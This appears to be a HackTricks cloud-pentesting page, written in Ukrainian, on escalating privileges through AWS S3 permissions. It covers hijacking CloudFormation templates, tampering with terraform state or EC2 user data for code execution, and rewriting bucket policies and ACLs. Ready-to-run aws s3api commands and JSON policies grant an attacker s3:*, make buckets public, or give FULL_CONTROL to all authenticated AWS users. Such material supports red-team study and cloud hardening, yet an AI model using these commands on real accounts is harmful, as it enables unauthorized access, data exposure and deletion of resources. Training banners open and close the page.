AWS - S3 Privesc
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
S3
s3:PutBucketNotification
, s3:PutObject
, s3:GetObject
Зловмисник з такими дозволами на цікавих бакетах може бути в змозі захопити ресурси та підвищити привілеї.
Наприклад, зловмисник з цими дозволами на бакет cloudformation під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе захопити розгортання. Доступ можна надати за допомогою наступної політики:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
І викрадення можливе, оскільки існує невеликий часовий проміжок від моменту завантаження шаблону до кошика до моменту, коли шаблон розгортається. Зловмисник може просто створити lambda function у своєму обліковому записі, яка спрацює, коли надійде сповіщення з кошика, і викраде вміст цього кошика.
Модуль Pacu cfn__resouce_injection
може бути використаний для автоматизації цієї атаки.
Для отримання додаткової інформації перегляньте оригінальне дослідження: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/
s3:PutObject
, s3:GetObject
Це дозволи на отримання та завантаження об'єктів до S3. Кілька сервісів всередині AWS (і за його межами) використовують S3 для зберігання конфігураційних файлів.
Зловмисник з доступом на читання до них може знайти чутливу інформацію в них.
Зловмисник з доступом на запис до них може модифікувати дані, щоб зловживати якимось сервісом і намагатися підвищити привілеї.
Ось кілька прикладів:
- Якщо EC2 екземпляр зберігає дані користувача в S3 кошику, зловмисник може змінити їх, щоб виконати довільний код всередині EC2 екземпляра.
s3:PutObject
, s3:GetObject
(додатково) над файлом стану terraform
Дуже поширено, що файли стану terraform зберігаються в блоб-накопичувачах хмарних провайдерів, наприклад, AWS S3. Суфікс файлу для файлу стану - .tfstate
, а назви кошиків часто також вказують на те, що вони містять файли стану terraform. Зазвичай, кожен обліковий запис AWS має один такий кошик для зберігання файлів стану, які показують стан облікового запису. Також зазвичай, у реальних облікових записах майже завжди всі розробники мають s3:*
, а іноді навіть бізнес-користувачі мають s3:Put*
.
Отже, якщо у вас є дозволи, зазначені для цих файлів, існує вектор атаки, який дозволяє вам отримати RCE в конвеєрі з привілеями terraform
- найчастіше AdministratorAccess
, що робить вас адміністратором хмарного облікового запису. Також ви можете використовувати цей вектор для здійснення атаки відмови в обслуговуванні, змушуючи terraform
видаляти легітимні ресурси.
Слідуйте опису в розділі Зловживання файлами стану Terraform на сторінці Безпека Terraform для безпосередньо використовуваного коду експлойту:
s3:PutBucketPolicy
Зловмисник, який повинен бути з того ж облікового запису, інакше спрацює помилка The specified method is not allowed
, з цим дозволом зможе надати собі більше дозволів на кошик(и), що дозволить йому читати, писати, модифікувати, видаляти та відкривати кошики.
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}
## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
s3:GetBucketAcl
, s3:PutBucketAcl
Зловмисник може зловживати цими дозволами, щоб надати собі більше доступу до конкретних бакетів.
Зверніть увагу, що зловмисник не обов'язково має бути з того ж облікового запису. Більше того, доступ на запис
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl
, s3:PutObjectAcl
Зловмисник може зловживати цими дозволами, щоб надати собі більше доступу до конкретних об'єктів всередині бакетів.
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl
, s3:PutObjectVersionAcl
Зловмисник з цими привілеями, як очікується, зможе встановити Acl для конкретної версії об'єкта.
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.